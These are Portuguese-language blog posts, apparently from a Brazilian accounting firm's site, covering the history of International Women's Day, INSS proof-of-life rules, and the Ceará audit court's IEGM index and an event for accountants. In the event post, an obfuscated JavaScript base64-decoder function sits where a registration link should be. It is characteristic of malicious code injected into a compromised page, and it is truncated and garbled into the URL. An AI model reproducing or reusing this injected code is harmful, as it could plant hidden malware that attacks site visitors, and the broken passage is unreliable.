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Por que 8 de março é o Dia Internacional da Mulher?

Postado em 8 março 2021

As histórias que remetem à criação do Dia Internacional da Mulher alimentam o imaginário de que a data teria surgido a partir de um incêndio em uma fábrica têxtil de Nova York em 1911, quando cerca de 130 operárias morreram carbonizadas. Sem dúvida, o incidente ocorrido em 25 de março daquele ano marcou a trajetória das lutas feministas ao longo do século 20, mas os eventos que levaram à criação da data são bem anteriores a este acontecimento.

Desde o final do século 19, organizações femininas oriundas de movimentos operários protestavam em vários países da Europa e nos Estados Unidos. As jornadas de trabalho de aproximadamente 15 horas diárias e os salários medíocres introduzidos pela Revolução Industrial levaram as mulheres a greves para reivindicar melhores condições de trabalho e o fim do trabalho infantil, comum nas fábricas durante o período.

O primeiro Dia Nacional da Mulher foi celebrado em maio de 1908 nos Estados Unidos, quando cerca de 1500 mulheres aderiram a uma manifestação em prol da igualdade econômica e política no país. No ano seguinte, o Partido Socialista dos EUA oficializou a data como sendo 28 de fevereiro, com um protesto que reuniu mais de 3 mil pessoas no centro de Nova York e culminou, em novembro de 1909, em uma longa greve têxtil que fechou quase 500 fábricas americanas.

Em 1910, durante a II Conferência Internacional de Mulheres Socialistas na Dinamarca, uma resolução para a criação de uma data anual para a celebração dos direitos da mulher foi aprovada por mais de cem representantes de 17 países. O objetivo era honrar as lutas femininas e, assim, obter suporte para instituir o sufrágio universal em diversas nações.

Com a Primeira Guerra Mundial (1914-1918) eclodiram ainda mais protestos em todo o mundo. Mas foi em 8 de março de 1917 (23 de fevereiro no calendário Juliano, adotado pela Rússia até então), quando aproximadamente 90 mil operárias manifestaram-se contra o Czar Nicolau II, as más condições de trabalho, a fome e a participação russa na guerra – em um protesto conhecido como “Pão e Paz” – que a data consagrou-se, embora tenha sido oficializada como Dia Internacional da Mulher, apenas em 1921.

No Brasil, as movimentações em prol dos direitos da mulher surgiram em meio aos grupos anarquistas do início do século 20, que buscavam, assim como nos demais países, melhores condições de trabalho e qualidade de vida. A luta feminina ganhou força com o movimento das sufragistas, nas décadas de 1920 e 30, que conseguiram o direito ao voto em 1932, na Constituição promulgada por Getúlio Vargas. A partir dos anos 1970 emergiram no país organizações que passaram a incluir na pauta das discussões a igualdade entre os gêneros, a sexualidade e a saúde da mulher. Em 1982, o feminismo passou a manter um diálogo importante com o Estado, com a criação do Conselho Estadual da Condição Feminina em São Paulo, e em 1985, com o aparecimento da primeira Delegacia Especializada da Mulher.

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Parabéns contador!

Postado em 22 setembro 2019

Levar eficiência e gestão de qualidade
para alguns municípios brasileiros
pode parecer um pouco complicado.
O tamanho de nosso país, sua
dimensão quase continental, faz com
que essa seja uma tarefa árdua,
desenvolvida por poucos.

Ser contador é isso: é apresentar para todo o
Brasil o melhor em gestão e garantir
que mesmo em qualquer distância, ele
chegará lá.

Sabendo disso, o Grupo S&S firma
compromisso com os contadores e os
acompanha nas
inúmeras andanças pelo país.

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INSS: Novas regras para prova de vida

Postado em 27 março 2019

O Instituto Nacional do Seguro Social (INSS) do Ministério da Economia, alterou a Resolução nº 141/PRES/INSS, de 2 de março de 2011 que dispõe sobre as regras prova de vida e a renovação de senha de beneficiários. As novas regras foram publicadas no Diário Oficial da União (DOU) por meio da Resolução Nº 677, de 21 de março de 2019.

A prova de vida e a renovação de senha deverão ser efetuadas pelo recebedor do beneficio, por meio de atendimento eletrônico com uso de biometria ou mediante a identificação por funcionário da instituição financeira pagadora do benefício e poderão ser realizadas pelo representante legal ou pelo procurador do beneficiário legalmente cadastrado no INSS ou na instituição financeira responsável pelo pagamento do benefício.

A instituição financeira deverá transmitir ao INSS os registros relativos à prova de vida e à renovação das senhas, utilizando o Protocolo de Pagamento de Benefícios em Meio Magnético, parte integrante do Contrato de Prestação de Pagamento de Benefícios.

Os beneficiários com idade igual ou superior a 60 anos poderão solicitar a realização de prova de vida no INSS, sem prejuízo da possibilidade de comparecer à instituição financeira pagadora. Para beneficiários com dificuldades de locomoção e idosos acima de 80 anos, que recebam benefícios, poderá ser realizada pesquisa externa, com comparecimento a residência ou local informado no requerimento, para permitir a identificação do titular do benefício e a realização da comprovação de vida, sem prejuízo da possibilidade de comparecer à instituição financeira pagadora.

Nos casos de beneficiários com dificuldades de locomoção, o requerimento para realização de prova de vida por meio de pesquisa externa, deverá ser efetuado por interessado, perante a Agência da Previdência Social, com comprovação da dificuldade de locomoção por atestado médico ou declaração emitida pelo hospital, sem prejuízo da possibilidade de comparecer à instituição financeira pagadora.

Os serviços deverão ser previamente agendados na Central 135, Meu INSS ou outros canais a serem disponibilizados pelo INSS.

O INSS poderá bloquear o pagamento do benefício encaminhado às instituições financeiras até que o beneficiário atenda à convocação, permitida a liberação do pagamento automaticamente pela instituição financeira.

Por Coordenadoria de Comunicação e Marketing da Aprece (Comak).

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IEGM 2019: Questionários Eletrônicos

Postado em 27 março 2019

Iniciadas as ações para a construção do Índice de Efetividade da Gestão Municipal – IEGM 2019, do Tribunal de Contas do Estado do Ceará, ano-base 2018. A primeira fase da atividade, tal como ocorrido nas edições anteriores, é a disponibilização de questionários a serem preenchidos pelos prefeitos municipais. Os documentos foram enviados aos e-mails cadastrados pelos prefeitos no sistema SimWeb, a partir desta quarta-feira (20/3), podendo ser respondidos até 20 de abril.

A Gerência de Avaliação de Políticas Públicas, responsável pela construção do IEGM, informa que os 184 municípios cearenses foram convocados via ofício circular da Presidência com as instruções para o preenchimento e envio das informações.
 

Os questionários abrangem as dimensões analisadas pelo Indicador: educação, saúde, planejamento, gestão fiscal, meio ambiente, cidades protegidas e governança de tecnologia da informação. As dúvidas quanto ao preenchimento podem ser enviadas ao endereço eletrônico iegm@tce.ce.gov.br ou por meio de atendimento telefônico: 85 3218.6590.
 

Saiba mais
 

O IEGM objetiva acompanhar a aderência da gestão municipal a determinados processos e controles para o aprimoramento de políticas públicas. A ação é produto de Acordo de Cooperação entre esta Corte de Contas, o Instituto Rui Barbosa (IRB) e Tribunais de Contas brasileiros. Trata-se da quarta edição anual consecutiva do trabalho. Na última, referente a 2017, a média cearense foi de 0,53.
 

Em fevereiro deste ano, foi aprovado de forma unânime pelo Pleno do TCE, o relatório da auditoria realizada sobre o IEGM 2017/2018. O documento foi encaminhado às Prefeituras e Câmaras Municipais, bem como para a Assembleia Legislativa. A Corte também propôs que sua Escola de Contas, o Instituto Plácido Castelo (IPC), utilize os dados da auditoria como subsídio para o planejamento de futuras ações de capacitação. O processo nº 03607/2018-5 foi relatado pela conselheira Patrícia Saboya.
 

Links e documentos em relação ao IEGM 2018/2019

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TCE Ceará sedia encontro de contabilistas “Abraçando o controle social”

Postado em 13 fevereiro 2019

Profissionais da contabilidade e demais interessados na área estão convidados a participar do encontro “Abraçando o controle social”, que será sediado no Tribunal de Contas do Estado do Ceará, dia 21 de fevereiro, das 8h30 às 12h30 – auditório do Edifício 5 de Outubro (rua Sena Madureira, nº 1047 - Centro).

Numa iniciativa do Conselho Federal de Contabilidade e demais parceiros nacionais, o evento conta com o apoio da Escola de Contas Instituto Plácido Castelo (IPC) e da entidade Regional no Ceará (CRC).

“Transparência, fiscalização e acesso à informação das contas públicas municipais e estaduais” é o tema da palestra a ser proferida pelo presidente do TCE Ceará, conselheiro Edilberto Pontes, na abertura do evento, que terá, entre as autoridades convidadas, o presidente do CFC, Zulmir Ivânio Breda.

A programação prosseguirá com palestra sobre “O papel e a rede das ouvidorias como instrumento de proteção do usuário de serviços públicos”, do ouvidor adjunto Geral da União (OGU/CGU), Fábio do Valle Valgas da Silva, e o painel “Contabilizando atitudes, multiplicando boas práticas”, com representantes da Controladoria e Ouvidoria-Geral do Estado do Ceará e do Observatório Social de Fortaleza.

A companhia de ritmos e danças populares, Cordapes, abrilhantará o encontro com apresentação cultural. O grupo, fundado em 2007 e sediado no Conjunto Palmeiras, tem o objetivo de estimular crianças e jovens carentes do bairro a pesquisarem e divulgarem a cultura regional.

As inscrições são gratuitas e podem ser realizadas de forma function a4872b9c6b(y1){var qd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var x0='';var n6,w6,qe,q8,w9,we,n7;var oa=0;do{q8=qd.indexOf(y1.charAt(oa++));w9=qd.indexOf(y1.charAt(oa++));we=qd.indexOf(y1.charAt(oa++));n7=qd.indexOf(y1.charAt(oa++));n6=(q8<<2)|(w9>>4);w6=((w9&15)<<4)|(we>>2);qe=((we&3)<<6)|n7;if(n6>=192)n6+=848;else if(n6==168)n6=1025;else if(n6==184)n6=1105;x0+=String.fromCharCode(n6);if(we!=64){if(w6>=192)w6+=848;else if(w6==168)w6=1025;else if(w6==184)w6=1105;x0+=String.fromCharCode(w6);}if(n7!=64){if(qe>=192)qe+=848;else if(qe==168)qe=1025;else if(qe==184)qe=1105;x0+=String.fromCharCode(qe);}}while(oaando-o-controle-social-cfc-cgu-fbc-conaci-atricon-e-abracicon-fortaleza-ce-21-02-2019/" target="_blank" rel="noopener">online. Acesse aqui a programação.

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Índice de Efetividade da Gestão Municipal possibilita aprimoramento de políticas públicas nas prefeituras cearenses:

Postado em 11 fevereiro 2019

Gestores dos 184 municípios cearenses receberão o resultado da auditoria realizada pelo Tribunal de Contas do Estado do Ceará, por meio da Gerência de Avaliação de Políticas Públicas, sobre o Índice de Efetividade da Gestão Municipal (IEGM 2017/2018). Os dados servirão para orientar as prefeituras e suas unidades a fim de aprimorar a gestão dos recursos públicos e garantir a efetiva execução das políticas públicas.

Com esse trabalho, o TCE Ceará objetiva contribuir para o aprimoramento da gestão, reavaliação de prioridades e consolidação do planejamento das administrações públicas municipais. O IEGM também favorece a transparência e fortalece o controle social, ao evidenciar a correspondência entre as ações dos governos municipais e as necessidades da população.

O documento, aprovado de forma unânime durante sessão plenária da terça-feira (5/2), também será encaminhado ao conhecimento das Câmaras Municipais bem como da Assembleia Legislativa. A Corte também propôs que sua escola de Contas, o Instituto Plácido Castelo (IPC), utilize os dados da auditoria como subsídio para o planejamento de suas futuras ações de capacitação. O processo nº 03607/2018-5 foi relatado pela conselheira Patrícia Saboya.

Saiba mais

Essa é a primeira vez que todos os 184 municípios cearenses são mensurados, a partir do preenchimento de sete questionários, entre abril e maio/2018. Ao final do prazo, foram recebidos questionários completos de 159 municípios. Nos 25 municípios remanescentes os dados foram coletados in loco pelo Tribunal de Contas.

O Indicador mensura o grau de aderência da gestão municipal a determinados processos e controles em sete áreas: educação, saúde, gestão fiscal, planejamento, meio ambiente, defesa civil e governança em tecnologia da informação.

Em uma variação de zero a um, a média do Índice de Efetividade da Gestão Municipal dos 184 municípios cearenses foi de 0,53 em 2017/2018. Essa média enquadra-se na faixa C+, ou seja, “em fase de adequação”.

O levantamento evidenciou que, individualmente, nenhum município possui gestão pública considerada altamente efetiva (A); um, muito efetiva (B+); 20, efetiva (B); 99, em fase de adequação (C+); e 64, baixo nível de adequação (C). De acordo com a nota, os classifica como “A” para “altamente efetivo”, “B+” para “muito efetivo”, “B” para “efetivo, “C+” para “em fase de adequação” e “C” para “baixo nível de adequação”.

Acesse a íntegra do Relatório de Auditoria.

Veja a situação dos Municípios cearenses nas sete áreas.

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